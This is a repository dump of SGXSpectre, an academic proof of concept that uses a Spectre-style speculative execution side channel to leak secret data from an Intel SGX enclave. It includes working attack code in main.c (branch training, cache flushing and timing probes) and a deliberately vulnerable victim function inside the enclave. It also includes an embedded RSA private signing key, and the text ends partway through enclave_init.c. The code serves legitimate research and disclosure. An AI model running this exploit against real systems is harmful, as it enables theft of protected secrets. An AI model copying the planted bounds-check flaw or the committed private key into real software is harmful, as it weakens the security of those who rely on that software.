├── SGXSpectre
├── enclave
│ ├── enclave.lds
│ ├── enclave.config.xml
│ ├── enclave.edl
│ ├── enclave_attack.c
│ └── enclave_private.pem
├── main
│ ├── enclave_init.h
│ ├── main.c
│ └── enclave_init.c
└── Makefile
├── .gitignore
├── README.md
└── LICENSE
/SGXSpectre/enclave/enclave.lds:
--------------------------------------------------------------------------------
1 | enclave.so
2 | {
3 | global:
4 | g_global_data_sim;
5 | g_global_data;
6 | enclave_entry;
7 | local:
8 | *;
9 | };
10 |
--------------------------------------------------------------------------------
/SGXSpectre/enclave/enclave.config.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | 0
4 | 0
5 | 0x40000
6 | 0x4600000
7 | 50
8 | 1
9 | 0
10 | 0
11 | 0xFFFFFFFF
12 |
13 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Prerequisites
2 | *.d
3 |
4 | # Object files
5 | *.o
6 | *.ko
7 | *.obj
8 | *.elf
9 |
10 | # Linker output
11 | *.ilk
12 | *.map
13 | *.exp
14 |
15 | # Precompiled Headers
16 | *.gch
17 | *.pch
18 |
19 | # Libraries
20 | *.lib
21 | *.a
22 | *.la
23 | *.lo
24 |
25 | # Shared objects (inc. Windows DLLs)
26 | *.dll
27 | *.so
28 | *.so.*
29 | *.dylib
30 |
31 | # Executables
32 | *.exe
33 | *.out
34 | *.app
35 | *.i*86
36 | *.x86_64
37 | *.hex
38 |
39 | # Debug files
40 | *.dSYM/
41 | *.su
42 | *.idb
43 | *.pdb
44 |
45 | # Kernel Module Compile Results
46 | *.mod*
47 | *.cmd
48 | .tmp_versions/
49 | modules.order
50 | Module.symvers
51 | Mkfile.old
52 | dkms.conf
53 |
--------------------------------------------------------------------------------
/SGXSpectre/main/enclave_init.h:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright 2018 Imperial College London
3 | * Licensed under the Apache License, Version 2.0 (the "License");
4 | * you may not use this file except in compliance with the License.
5 | * You may obtain a copy of the License at
6 | *
7 | * http://www.apache.org/licenses/LICENSE-2.0
8 | *
9 | * Unless required by applicable law or agreed to in writing, software
10 | * distributed under the License is distributed on an "AS IS" BASIS,
11 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied
12 | * See the License for the specific language governing permissions and
13 | * limitations under the License.
14 | */
15 |
16 | #ifndef ENCLAVE_INIT_H_
17 | #define ENCLAVE_INIT_H_
18 |
19 | void initialize_enclave(void);
20 | void destroy_enclave(void);
21 |
22 | #endif
23 |
--------------------------------------------------------------------------------
/SGXSpectre/enclave/enclave.edl:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright 2018 Imperial College London
3 | * Licensed under the Apache License, Version 2.0 (the "License");
4 | * you may not use this file except in compliance with the License.
5 | * You may obtain a copy of the License at
6 | *
7 | * http://www.apache.org/licenses/LICENSE-2.0
8 | *
9 | * Unless required by applicable law or agreed to in writing, software
10 | * distributed under the License is distributed on an "AS IS" BASIS,
11 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied
12 | * See the License for the specific language governing permissions and
13 | * limitations under the License.
14 | */
15 |
16 | enclave {
17 | from "sgx_tstdc.edl" import *;
18 |
19 | trusted {
20 | public size_t ecall_get_offset();
21 | public void ecall_victim_function(size_t x,[user_check] uint8_t * array2, [user_check] unsigned int * outside_array1_size);
22 | };
23 |
24 | untrusted {
25 | // no ocall
26 | };
27 | };
28 |
--------------------------------------------------------------------------------
/SGXSpectre/enclave/enclave_attack.c:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright 2018 Imperial College London
3 | * Licensed under the Apache License, Version 2.0 (the "License");
4 | * you may not use this file except in compliance with the License.
5 | * You may obtain a copy of the License at
6 | *
7 | * http://www.apache.org/licenses/LICENSE-2.0
8 | *
9 | * Unless required by applicable law or agreed to in writing, software
10 | * distributed under the License is distributed on an "AS IS" BASIS,
11 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied
12 | * See the License for the specific language governing permissions and
13 | * limitations under the License.
14 | */
15 |
16 | #include "enclave_t.h"
17 |
18 | //unsigned int array1_size = 16;
19 | uint8_t unused1[64];
20 | uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };
21 | uint8_t unused2[64];
22 |
23 | char *secret = "The Magic Words are Squeamish Ossifrage.";
24 |
25 | uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */
26 |
27 | size_t ecall_get_offset() {
28 | temp = secret[0]; //Bring secrete into cache.
29 | return (size_t)(secret-(char*)array1);
30 | }
31 |
32 | void ecall_victim_function(size_t x, uint8_t * array2, unsigned int * outside_array1_size) {
33 | //if (x < array1_size) {
34 | if (x < *outside_array1_size) {
35 | temp &= array2[array1[x] * 512];
36 | }
37 | }
38 |
39 |
--------------------------------------------------------------------------------
/SGXSpectre/enclave/enclave_private.pem:
--------------------------------------------------------------------------------
1 | -----BEGIN RSA PRIVATE KEY-----
2 | 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
39 | -----END RSA PRIVATE KEY-----
40 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # spectre-attack-sgx
2 | Sample code demonstrating a Spectre-like attack against an Intel SGX enclave.
3 |
4 | ## Overview
5 | Given our [ongoing research](https://lsds.doc.ic.ac.uk/projects/sereca) on
6 | Intel SGX here in the LSDS group at Imperial College London, a question that
7 | occurred to us immediately on first hearing of the recent Meltdown and Spectre
8 | attacks is *what are the security implications of speculative execution side
9 | channels for Intel SGX enclaves*?
10 |
11 | This repository contains a proof-of-concept attack (`SGXSpectre`) showing it is
12 | indeed possible to use a speculative execution side-channel to leak data from
13 | an Intel SGX enclave.
14 |
15 | ## Attack Outline
16 | The attack is similar conceptually to the conditional branch misprediction
17 | [Spectre attack](https://spectreattack.com/spectre.pdf) of Kocher et al. The main
18 | difference is that we move the secret data (`secret`) and the victim function
19 | (`victim_function`) and overflow array (`array1`) inside [the
20 | enclave](SGXSpectre/enclave/enclave_attack.c). The
21 | [attacker](SGXSpectre/main/main.c) executes `victim_function` using an ecall,
22 | passing it the index `x` used to index into `array1`.
23 |
24 | ## Code Layout
25 | * `SGXSpectre/main/main.c`: Contains the untrusted code to create the enclave and
26 | mount the SGXSpectre attack.
27 | * `SGXSpectre/enclave/enclave_attack.c`: Contains the enclave secret data
28 | and victim function.
29 |
30 | ## Caveats
31 | * The attack requires that the `array1_size` variable (used to verify that `x`
32 | is within the bounds of `array1`) must *not* be cached. For simplicity our
33 | proof-of-concept currently stores `array1_size` outside the enclave, allowing
34 | the attacker to flush it with a `clflush` instruction before each invocation of
35 | the victim function. In reality this would be unsafe, since the bounds check
36 | should not rely on a value stored in untrusted memory. However the attack could
37 | be adapted to keep `array1_size` inside the enclave by using an alternative
38 | mechanism to flush it before each invocation (e.g. load other data whose
39 | address coincides in the cache).
40 |
41 | * For simplicity we keep the `array2` array whose entries are probed by the
42 | attacker outside the enclave. As mentioned in the [Spectre
43 | paper](https://spectreattack.com/spectre.pdf), a prime+probe attack could
44 | be used to infer the accesses to `array2` if it is not accessible to the attacker
45 | (e.g. if it is moved inside the enclave).
46 |
47 | ## How to run the code
48 | 1. Install Intel(R) SGX SDK for Linux* OS
49 | 2. Build the SGXSpectre project with the prepared Makefile:
50 | * Hardware Mode:
51 | $ make
52 | * Simulation Mode:
53 | $ make SGX_MODE=SIM
54 | 3. Execute the binary directly:
55 | $ ./sgxspectre
56 | 4. Remember to "make clean" before switching build mode
57 |
58 | ## Credits
59 | SGXSpectre is brought to you by Dan O'Keeffe, Divya Muthukumaran, Pierre-Louis
60 | Aublin, Florian Kelbert, Christian Priebe, Josh Lind, Huanzhou Zhu and Peter Pietzuch.
61 |
--------------------------------------------------------------------------------
/SGXSpectre/Makefile:
--------------------------------------------------------------------------------
1 | # This Makefile is a modified version of the Intel SGX SDK SampleCode Makefile
2 |
3 | top_srcdir=..
4 | CC=gcc
5 | CXX=g++
6 | CCASFLAGS=-g -O2 -Wall -Werror -std=gnu99 -fno-strict-aliasing -fno-strict-overflow -D_FORTIFY_SOURCE=2 -fstack-protector-all -DHAVE_GNU_STACK -Wno-implicit-function-declaration
7 | CFLAGS=-g -O2 -Wall -Werror -std=gnu99 -fno-strict-aliasing -fno-strict-overflow -D_FORTIFY_SOURCE=2 -fstack-protector-all -DHAVE_GNU_STACK -Wno-pointer-sign
8 | CXXFLAGS=-g -O2 -Wall -Werror -std=c++03 -fno-strict-aliasing -fno-strict-overflow -D_FORTIFY_SOURCE=2 -fstack-protector-all -DHAVE_GNU_STACK
9 | CPPFLAGS=-D_DEFAULT_SOURCE -D_BSD_SOURCE -D_POSIX_SOURCE -D_GNU_SOURCE -DNO_SYSLOG -DCOMPILE_WITH_INTEL_SGX
10 | DEFS=
11 | INCLUDE=-I.
12 | LDFLAGS=-Wl,-z,relro -Wl,-z,now
13 |
14 |
15 | ########## Intel SGX ############
16 |
17 | ##### Parameters #####
18 |
19 | SGX_SDK ?= /opt/intel/sgxsdk
20 | SGX_MODE ?= HW
21 | SGX_PRERELEASE ?= 1
22 | SGX_COMMON_CFLAGS := -m64
23 | SGX_LIBRARY_PATH := $(SGX_SDK)/lib64
24 | SGX_ENCLAVE_SIGNER := $(SGX_SDK)/bin/x64/sgx_sign
25 | SGX_EDGER8R := $(SGX_SDK)/bin/x64/sgx_edger8r
26 |
27 | SGX_COMMON_CFLAGS += -g -O2
28 |
29 | ifeq ($(SGX_MODE), HW)
30 | Urts_Library_Name := sgx_urts
31 | Trts_Library_Name := sgx_trts
32 | Service_Library_Name := sgx_tservice
33 | else
34 | Urts_Library_Name := sgx_urts_sim
35 | Trts_Library_Name := sgx_trts_sim
36 | Service_Library_Name := sgx_tservice_sim
37 | endif
38 | Crypto_Library_Name := sgx_tcrypto
39 |
40 | Enclave_Name := enclave.so
41 | Signed_Enclave_Name := enclave.signed.so
42 |
43 | Enclave_Config_File := enclave/enclave.config.xml
44 |
45 | App_Link_Flags := $(SGX_COMMON_CFLAGS) -L$(SGX_LIBRARY_PATH) -l$(Urts_Library_Name)
46 |
47 | ifeq ($(SGX_MODE), HW)
48 | App_Link_Flags += -lsgx_uae_service
49 | else
50 | App_Link_Flags += -lsgx_uae_service_sim
51 | endif
52 |
53 | #################################
54 |
55 |
56 | all: sgxspectre signed_enclave
57 |
58 |
59 | ########## Intel SGX ############
60 |
61 | ##### App Objects #####
62 |
63 | App_C_Flags := $(SGX_COMMON_CFLAGS) -fPIC -Wno-attributes -Wno-implicit-function-declaration
64 |
65 | # Three configuration modes - Debug, prerelease, release
66 | # Debug - Macro DEBUG enabled.
67 | # Prerelease - Macro NDEBUG and EDEBUG enabled.
68 | # Release - Macro NDEBUG enabled.
69 | ifeq ($(SGX_DEBUG), 1)
70 | App_C_Flags += -DDEBUG -UNDEBUG -UEDEBUG
71 | else ifeq ($(SGX_PRERELEASE), 1)
72 | App_C_Flags += -DNDEBUG -DEDEBUG -UDEBUG
73 | else
74 | App_C_Flags += -DNDEBUG -UEDEBUG -UDEBUG
75 | endif
76 |
77 | enclave_u.c: $(SGX_EDGER8R) enclave/enclave.edl
78 | cd main && $(SGX_EDGER8R) --untrusted ../enclave/enclave.edl --search-path ../enclave --search-path $(SGX_SDK)/include
79 | @echo "GEN => $@"
80 |
81 | enclave_u.o: enclave_u.c
82 | cd main && $(CC) $(App_C_Flags) -I$(SGX_SDK)/include -c $< -o $@
83 | @echo "CC <= $<"
84 |
85 | enclave_init.o: main/enclave_init.c
86 | $(CC) $(App_C_Flags) -I$(SGX_SDK)/include -c $< -o main/$@
87 | @echo "CC <= $<"
88 |
89 | main.o: enclave_u.o main/main.c
90 | cd main && $(CC) -g -O2 -fPIC -DPIC -Werror $(App_C_Flags) -I$(SGX_SDK)/include -c main.c -o $@
91 | @echo "CC <= $<"
92 |
93 | ##### Enclave Objects #####
94 |
95 | Enclave_Include_Paths := -Ienclave -I$(SGX_SDK)/include -I$(SGX_SDK)/include/tlibc -I$(SGX_SDK)/include/stlport
96 |
97 | Enclave_C_Flags := $(SGX_COMMON_CFLAGS) -nostdinc -fvisibility=hidden -fpie -fstack-protector $(Enclave_Include_Paths)
98 | Enclave_Cpp_Flags := $(Enclave_C_Flags) -nostdinc -nostdinc++
99 | Enclave_Link_Flags := $(SGX_COMMON_CFLAGS) -Wl,--no-undefined -nostdlib -nodefaultlibs -nostartfiles -L$(SGX_LIBRARY_PATH) \
100 | -Wl,--whole-archive -l$(Trts_Library_Name) -Wl,--no-whole-archive \
101 | -Wl,--start-group -lsgx_tstdc -lsgx_tstdcxx -lsgx_tcmalloc -l$(Crypto_Library_Name) -l$(Service_Library_Name) -Wl,--end-group \
102 | -Wl,-Bstatic -Wl,-Bsymbolic -Wl,--no-undefined \
103 | -Wl,-pie,-eenclave_entry -Wl,--export-dynamic \
104 | -Wl,--defsym,__ImageBase=0 \
105 | -Wl,--version-script=enclave/enclave.lds
106 |
107 | enclave_t.c: $(SGX_EDGER8R) enclave/enclave.edl
108 | cd enclave && $(SGX_EDGER8R) --trusted ./enclave.edl --search-path . --search-path $(SGX_SDK)/include
109 | @echo "GEN => $@"
110 |
111 | enclave_t.o: enclave_t.c
112 | cd enclave && $(CC) $(Enclave_C_Flags) -c $< -o $@
113 | @echo "CC <= $<"
114 |
115 | #################################
116 |
117 | enclave_attack.o: enclave/enclave_attack.c enclave_t.c
118 | $(CC) $(CFLAGS) $(Enclave_C_Flags) -I$(SGX_SDK)/include -fPIC -DPIC -c -o enclave/$@ $<
119 | @echo "CC <= $<"
120 |
121 | enclave: enclave_t.o enclave_attack.o
122 | $(CC) enclave/enclave_t.o enclave/enclave_attack.o -o $(Enclave_Name) $(Enclave_Link_Flags)
123 | @echo "LINK => $(Enclave_Name)"
124 |
125 | signed_enclave: enclave
126 | $(SGX_ENCLAVE_SIGNER) sign -key enclave/enclave_private.pem -enclave $(Enclave_Name) -out $(Signed_Enclave_Name) -config $(Enclave_Config_File)
127 | @echo "SIGN => $(Signed_Enclave_Name)"
128 |
129 | #################################
130 |
131 | sgxspectre: main.o enclave_u.o enclave_init.o
132 | $(CC) $(CFLAGS) -o $@ main/main.o main/enclave_u.o main/enclave_init.o $(App_Link_Flags) -lpthread
133 |
134 | clean:
135 | find . -iname "enclave_u.?" -delete
136 | find . -iname "enclave_t.?" -delete
137 | find . -iname "$(Enclave_Name)" -delete
138 | find . -iname "$(Signed_Enclave_Name)" -delete
139 | find . -iname "*\.o" -delete
140 | find . -iname "*\.i" -delete
141 | find . -iname "*~" -delete
142 | rm sgxspectre -f
143 |
--------------------------------------------------------------------------------
/SGXSpectre/main/main.c:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright 2018 Imperial College London
3 | * Licensed under the Apache License, Version 2.0 (the "License");
4 | * you may not use this file except in compliance with the License.
5 | * You may obtain a copy of the License at
6 | *
7 | * http://www.apache.org/licenses/LICENSE-2.0
8 | *
9 | * Unless required by applicable law or agreed to in writing, software
10 | * distributed under the License is distributed on an "AS IS" BASIS,
11 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied
12 | * See the License for the specific language governing permissions and
13 | * limitations under the License.
14 | */
15 |
16 | #include
17 | #include
18 | #include
19 | #include
20 | #include
21 | #ifdef _MSC_VER
22 | #include /* for rdtscp and clflush */
23 | #pragma optimize("gt",on)
24 | #else
25 | #include /* for rdtscp and clflush */
26 | #endif
27 |
28 | #include "enclave_u.h"
29 | #include "enclave_init.h"
30 |
31 | extern sgx_enclave_id_t global_eid;
32 |
33 | unsigned int array1_size = 16;
34 | uint8_t unused1[64];
35 | uint8_t array1dupe[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };
36 | uint8_t unused2[64];
37 | uint8_t array2[256 * 512];
38 |
39 | /********************************************************************
40 | Analysis code
41 | ********************************************************************/
42 | #define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */
43 |
44 | /* Report best guess in value[0] and runner-up in value[1] */
45 | void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
46 | static int results[256];
47 | int tries, i, j, k, mix_i;
48 | unsigned int junk = 0;
49 | size_t training_x, x;
50 | register uint64_t time1, time2;
51 | volatile uint8_t *addr;
52 |
53 | for (i = 0; i < 256; i++)
54 | results[i] = 0;
55 |
56 | for (tries = 999; tries > 0; tries--) {
57 | /* Flush array2[256*(0..255)] from cache */
58 | for (i = 0; i < 256; i++)
59 | _mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */
60 |
61 | /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
62 | training_x = tries % array1_size;
63 | for (j = 29; j >= 0; j--) {
64 | _mm_clflush(&array1_size);
65 | volatile int z;
66 | for (z = 0; z < 100; z++) {} /* Delay (can also mfence) */
67 |
68 | /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
69 | /* Avoid jumps in case those tip off the branch predictor */
70 | x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
71 | x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
72 | x = training_x ^ (x & (malicious_x ^ training_x));
73 |
74 | /* Call the victim! */
75 | sgx_status_t ret = SGX_ERROR_UNEXPECTED;
76 | ret = ecall_victim_function(global_eid, x, array2, &array1_size);
77 | if (ret != SGX_SUCCESS)
78 | abort();
79 | }
80 |
81 | /* Time reads. Order is lightly mixed up to prevent stride prediction */
82 | for (i = 0; i < 256; i++) {
83 | mix_i = ((i * 167) + 13) & 255;
84 | addr = &array2[mix_i * 512];
85 | time1 = __rdtscp(&junk); /* READ TIMER */
86 | junk = *addr; /* MEMORY ACCESS TO TIME */
87 | time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
88 | //if (time2 <= CACHE_HIT_THRESHOLD)
89 | if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1dupe[tries % array1_size])
90 | {
91 | results[mix_i]++; /* cache hit - add +1 to score for this value */
92 | }
93 | }
94 |
95 | /* Locate highest & second-highest results results tallies in j/k */
96 | j = k = -1;
97 | for (i = 0; i < 256; i++) {
98 | if (j < 0 || results[i] >= results[j]) {
99 | k = j;
100 | j = i;
101 | } else if (k < 0 || results[i] >= results[k]) {
102 | k = i;
103 | }
104 | }
105 |
106 | if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
107 | break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
108 | }
109 |
110 | results[0] ^= junk; /* use junk so code above won’t get optimized out*/
111 | value[0] = (uint8_t)j;
112 | score[0] = results[j];
113 | value[1] = (uint8_t)k;
114 | score[1] = results[k];
115 | }
116 |
117 |
118 | int spectre_main(int argc, char **argv) {
119 | size_t malicious_x;
120 | sgx_status_t ret = ecall_get_offset(global_eid, &malicious_x); /* default for malicious_x */
121 | if (ret != SGX_SUCCESS)
122 | abort();
123 |
124 |
125 | int i, score[2], len=40;
126 | uint8_t value[2];
127 |
128 | for (i = 0; i < sizeof(array2); i++)
129 | array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
130 |
131 | if (argc == 3) {
132 | sscanf(argv[1], "%p", (void**)(&malicious_x));
133 | malicious_x -= (size_t)array1dupe; /* Convert input value into a pointer */
134 | sscanf(argv[2], "%d", &len);
135 | }
136 |
137 | printf("Reading %d bytes:\n", len);
138 |
139 | while (--len >= 0) {
140 | printf("Reading at malicious_x = %p... ", (void*)malicious_x);
141 | readMemoryByte(malicious_x++, value, score);
142 | printf("%s: ", (score[0] >= 2*score[1] ? "Success" : "Unclear"));
143 | printf("0x%02X='%c' score=%d ", value[0], (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
144 | if (score[1] > 0)
145 | printf("(second best: 0x%02X score=%d)", value[1], score[1]);
146 | printf("\n");
147 | }
148 |
149 | return (0);
150 | }
151 |
152 | /* Application entry */
153 | int main(int argc, char *argv[])
154 | {
155 | /* Initialize the enclave */
156 | initialize_enclave();
157 |
158 | /* Call the main attack function*/
159 | spectre_main(argc, argv);
160 |
161 | /* Destroy the enclave */
162 | destroy_enclave();
163 |
164 | return 0;
165 | }
166 |
167 |
--------------------------------------------------------------------------------
/SGXSpectre/main/enclave_init.c:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (C) 2011-2017 Intel Corporation. All rights reserved.
3 | *
4 | * Redistribution and use in source and binary forms, with or without
5 | * modification, are permitted provided that the following conditions
6 | * are met:
7 | *
8 | * * Redistributions of source code must retain the above copyright
9 | * notice, this list of conditions and the following disclaimer.
10 | * * Redistributions in binary form must reproduce the above copyright
11 | * notice, this list of conditions and the following disclaimer in
12 | * the documentation and/or other materials provided with the
13 | * distribution.
14 | * * Neither the name of Intel Corporation nor the names of its
15 | * contributors may be used to endorse or promote products derived
16 | * from this software without specific prior written permission.
17 | *
18 | * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
19 | * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
20 | * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
21 | * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
22 | * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
23 | * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
24 | * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
25 | * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
26 | * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
27 | * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
28 | * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
29 | *
30 | */
31 |
32 | #include
33 | #include
34 | #include
35 | #include
36 | #include
37 | #include
38 | #include
39 |
40 | #include "sgx_error.h" /* sgx_status_t */
41 | #include "sgx_eid.h" /* sgx_enclave_id_t */
42 | #include "sgx_urts.h"
43 |
44 | #ifndef TRUE
45 | #define TRUE 1
46 | #endif
47 |
48 | #ifndef FALSE
49 | #define FALSE 0
50 | #endif
51 |
52 | # define TOKEN_FILENAME "enclave.token"
53 | # define ENCLAVE_FILENAME "enclave.signed.so"
54 |
55 | #include "enclave_init.h"
56 |
57 | #define MAX_PATH 256
58 |
59 | /* Global EID shared by multiple threads */
60 | sgx_enclave_id_t global_eid = 0;
61 |
62 | typedef struct _sgx_errlist_t {
63 | sgx_status_t err;
64 | const char *msg;
65 | const char *sug; /* Suggestion */
66 | } sgx_errlist_t;
67 |
68 | static sgx_errlist_t sgx_errlist[] = {
69 | {
70 | SGX_ERROR_UNEXPECTED,
71 | "Unexpected error occurred.",
72 | NULL
73 | },
74 | {
75 | SGX_ERROR_INVALID_PARAMETER,
76 | "Invalid parameter.",
77 | NULL
78 | },
79 | {
80 | SGX_ERROR_OUT_OF_MEMORY,
81 | "Out of memory.",
82 | NULL
83 | },
84 | {
85 | SGX_ERROR_ENCLAVE_LOST,
86 | "Power transition occurred.",
87 | "Please refer to the sample \"PowerTransition\" for details."
88 | },
89 | {
90 | SGX_ERROR_INVALID_ENCLAVE,
91 | "Invalid enclave image.",
92 | NULL
93 | },
94 | {
95 | SGX_ERROR_INVALID_ENCLAVE_ID,
96 | "Invalid enclave identification.",
97 | NULL
98 | },
99 | {
100 | SGX_ERROR_INVALID_SIGNATURE,
101 | "Invalid enclave signature.",
102 | NULL
103 | },
104 | {
105 | SGX_ERROR_OUT_OF_EPC,
106 | "Out of EPC memory.",
107 | NULL
108 | },
109 | {
110 | SGX_ERROR_NO_DEVICE,
111 | "Invalid SGX device.",
112 | "Please make sure SGX module is enabled in the BIOS, and install SGX driver afterwards."
113 | },
114 | {
115 | SGX_ERROR_MEMORY_MAP_CONFLICT,
116 | "Memory map conflicted.",
117 | NULL
118 | },
119 | {
120 | SGX_ERROR_INVALID_METADATA,
121 | "Invalid enclave metadata.",
122 | NULL
123 | },
124 | {
125 | SGX_ERROR_DEVICE_BUSY,
126 | "SGX device was busy.",
127 | NULL
128 | },
129 | {
130 | SGX_ERROR_INVALID_VERSION,
131 | "Enclave version was invalid.",
132 | NULL
133 | },
134 | {
135 | SGX_ERROR_INVALID_ATTRIBUTE,
136 | "Enclave was not authorized.",
137 | NULL
138 | },
139 | {
140 | SGX_ERROR_ENCLAVE_FILE_ACCESS,
141 | "Can't open enclave file.",
142 | NULL
143 | },
144 | };
145 |
146 | /* Check error conditions for loading enclave */
147 | void print_error_message(sgx_status_t ret, const char* fn)
148 | {
149 | size_t idx = 0;
150 | size_t ttl = sizeof sgx_errlist/sizeof sgx_errlist[0];
151 |
